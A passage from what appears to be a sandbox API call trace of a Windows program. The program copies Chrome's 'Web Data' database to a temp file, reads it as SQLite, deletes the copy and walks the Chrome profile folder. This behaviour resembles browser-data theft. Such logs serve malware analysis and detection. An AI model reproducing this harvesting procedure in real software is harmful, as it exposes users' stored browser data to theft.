dwFlags=0x0, lpMultiByteStr=0x451b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0061.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201202334891414616440.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d378 | out: lpFileInformation=0x18d378*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.644] GetLastError () returned 0x2 [0061.644] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201202334891414616440.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d390 | out: lpFileInformation=0x18d390*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.644] GetLastError () returned 0x2 [0061.644] ReadFile (in: hFile=0x440, lpBuffer=0x457d3e0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d398, lpOverlapped=0x18d35c | out: lpBuffer=0x457d3e0*, lpNumberOfBytesRead=0x18d398*=0x800, lpOverlapped=0x18d35c) returned 1 [0061.644] ReadFile (in: hFile=0x440, lpBuffer=0x457cb40, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d0b0, lpOverlapped=0x18d074 | out: lpBuffer=0x457cb40*, lpNumberOfBytesRead=0x18d0b0*=0x800, lpOverlapped=0x18d074) returned 1 [0061.644] ReadFile (in: hFile=0x440, lpBuffer=0x457c2a0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d080, lpOverlapped=0x18d044 | out: lpBuffer=0x457c2a0*, lpNumberOfBytesRead=0x18d080*=0x800, lpOverlapped=0x18d044) returned 1 [0061.644] ReadFile (in: hFile=0x440, lpBuffer=0x457ba00, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d080, lpOverlapped=0x18d044 | out: lpBuffer=0x457ba00*, lpNumberOfBytesRead=0x18d080*=0x800, lpOverlapped=0x18d044) returned 1 [0061.644] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d078 | out: lpOverlapped=0x18d078) returned 1 [0061.644] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd50 | out: lpOverlapped=0x18dd50) returned 1 [0061.644] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd44 | out: lpOverlapped=0x18dd44) returned 1 [0061.644] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd54 | out: lpOverlapped=0x18dd54) returned 1 [0061.644] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0061.644] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201202334891414616440.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18dd50 | out: lpFileInformation=0x18dd50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.644] GetLastError () returned 0x2 [0061.645] ReadFile (in: hFile=0x440, lpBuffer=0x18ddd4, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x18ddbc, lpOverlapped=0x18dd80 | out: lpBuffer=0x18ddd4*, lpNumberOfBytesRead=0x18ddbc*=0x10, lpOverlapped=0x18dd80) returned 1 [0061.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451b671, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0061.645] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201202334891414616440.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18dd68 | out: lpFileInformation=0x18dd68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.645] GetLastError () returned 0x2 [0061.645] ReadFile (in: hFile=0x440, lpBuffer=0x457b160, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18dd88, lpOverlapped=0x18dd4c | out: lpBuffer=0x457b160*, lpNumberOfBytesRead=0x18dd88*=0x800, lpOverlapped=0x18dd4c) returned 1 [0061.645] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd38 | out: lpOverlapped=0x18dd38) returned 1 [0061.645] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201202334891414616440.tmp")) returned 1 [0061.646] SysReAllocStringLen (in: pbstr=0x18e0fc*=0x0, psz="120136", len=0x6 | out: pbstr=0x18e0fc*="120136") returned 1 [0061.646] SysReAllocStringLen (in: pbstr=0x18e098*=0x0, psz="4062", len=0x4 | out: pbstr=0x18e098*="4062") returned 1 [0061.646] SysReAllocStringLen (in: pbstr=0x18e094*=0x0, psz="2153", len=0x4 | out: pbstr=0x18e094*="2153") returned 1 [0061.646] SysReAllocStringLen (in: pbstr=0x18e090*=0x0, psz="5725", len=0x4 | out: pbstr=0x18e090*="5725") returned 1 [0061.646] SysReAllocStringLen (in: pbstr=0x18e08c*=0x0, psz="8643", len=0x4 | out: pbstr=0x18e08c*="8643") returned 1 [0061.646] SysReAllocStringLen (in: pbstr=0x18e108*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0061.646] SysReAllocStringLen (in: pbstr=0x18e0a0*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e0a0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e09c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e098*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e098*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0061.647] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0061.647] SysReAllocStringLen (in: pbstr=0x18e104*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e0a0*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", len=0x3f | out: pbstr=0x18e0a0*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e09c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", len=0x3f | out: pbstr=0x18e09c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e098*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", len=0x3f | out: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp") returned 1 [0061.647] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp") returned 1 [0061.647] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201364062215357258643.tmp"), bFailIfExists=1) returned 1 [0061.650] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", cchWideChar=63, lpMultiByteStr=0x18d09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", lpUsedDefaultChar=0x0) returned 63 [0061.651] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42abf94, cbMultiByte=63, lpWideCharStr=0x18d07c, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp") returned 63 [0061.651] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0061.651] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", nBufferLength=0x43, lpBuffer=0x4503ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp", lpFilePart=0x0) returned 0x3f [0061.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201364062215357258643.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18deb8 | out: lpFileInformation=0x18deb8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf481450, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xaf481450, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x82d370c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1 [0061.651] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201364062215357258643.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0061.651] ReadFile (in: hFile=0x328, lpBuffer=0x18dfe8, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18dfac, lpOverlapped=0x18df70 | out: lpBuffer=0x18dfe8*, lpNumberOfBytesRead=0x18dfac*=0x64, lpOverlapped=0x18df70) returned 1 [0061.651] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0061.651] LockFileEx (in: hFile=0x328, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d370 | out: lpOverlapped=0x18d370) returned 1 [0061.651] LockFileEx (in: hFile=0x328, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d364 | out: lpOverlapped=0x18d364) returned 1 [0061.651] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d374 | out: lpOverlapped=0x18d374) returned 1 [0061.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0061.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201364062215357258643.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d370 | out: lpFileInformation=0x18d370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.651] GetLastError () returned 0x2 [0061.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201364062215357258643.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d388 | out: lpFileInformation=0x18d388*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.651] GetLastError () returned 0x2 [0061.652] ReadFile (in: hFile=0x328, lpBuffer=0x457d3e0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d390, lpOverlapped=0x18d354 | out: lpBuffer=0x457d3e0*, lpNumberOfBytesRead=0x18d390*=0x800, lpOverlapped=0x18d354) returned 1 [0061.652] ReadFile (in: hFile=0x328, lpBuffer=0x457cb40, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d0a8, lpOverlapped=0x18d06c | out: lpBuffer=0x457cb40*, lpNumberOfBytesRead=0x18d0a8*=0x800, lpOverlapped=0x18d06c) returned 1 [0061.652] ReadFile (in: hFile=0x328, lpBuffer=0x457c2a0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d078, lpOverlapped=0x18d03c | out: lpBuffer=0x457c2a0*, lpNumberOfBytesRead=0x18d078*=0x800, lpOverlapped=0x18d03c) returned 1 [0061.652] ReadFile (in: hFile=0x328, lpBuffer=0x457ba00, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d078, lpOverlapped=0x18d03c | out: lpBuffer=0x457ba00*, lpNumberOfBytesRead=0x18d078*=0x800, lpOverlapped=0x18d03c) returned 1 [0061.652] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d070 | out: lpOverlapped=0x18d070) returned 1 [0061.652] LockFileEx (in: hFile=0x328, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd40 | out: lpOverlapped=0x18dd40) returned 1 [0061.652] LockFileEx (in: hFile=0x328, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd34 | out: lpOverlapped=0x18dd34) returned 1 [0061.652] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd44 | out: lpOverlapped=0x18dd44) returned 1 [0061.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0061.652] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201364062215357258643.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18dd40 | out: lpFileInformation=0x18dd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.652] GetLastError () returned 0x2 [0061.652] ReadFile (in: hFile=0x328, lpBuffer=0x18ddc4, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x18ddac, lpOverlapped=0x18dd70 | out: lpBuffer=0x18ddc4*, lpNumberOfBytesRead=0x18ddac*=0x10, lpOverlapped=0x18dd70) returned 1 [0061.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451b671, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0061.652] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201364062215357258643.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18dd58 | out: lpFileInformation=0x18dd58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.652] GetLastError () returned 0x2 [0061.653] ReadFile (in: hFile=0x328, lpBuffer=0x457b160, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18dd78, lpOverlapped=0x18dd3c | out: lpBuffer=0x457b160*, lpNumberOfBytesRead=0x18dd78*=0x800, lpOverlapped=0x18dd3c) returned 1 [0061.653] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd28 | out: lpOverlapped=0x18dd28) returned 1 [0061.653] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201364062215357258643.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201364062215357258643.tmp")) returned 1 [0061.654] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0061.654] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0061.654] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0061.654] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0061.654] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0061.654] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0061.654] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0061.654] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0061.654] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", 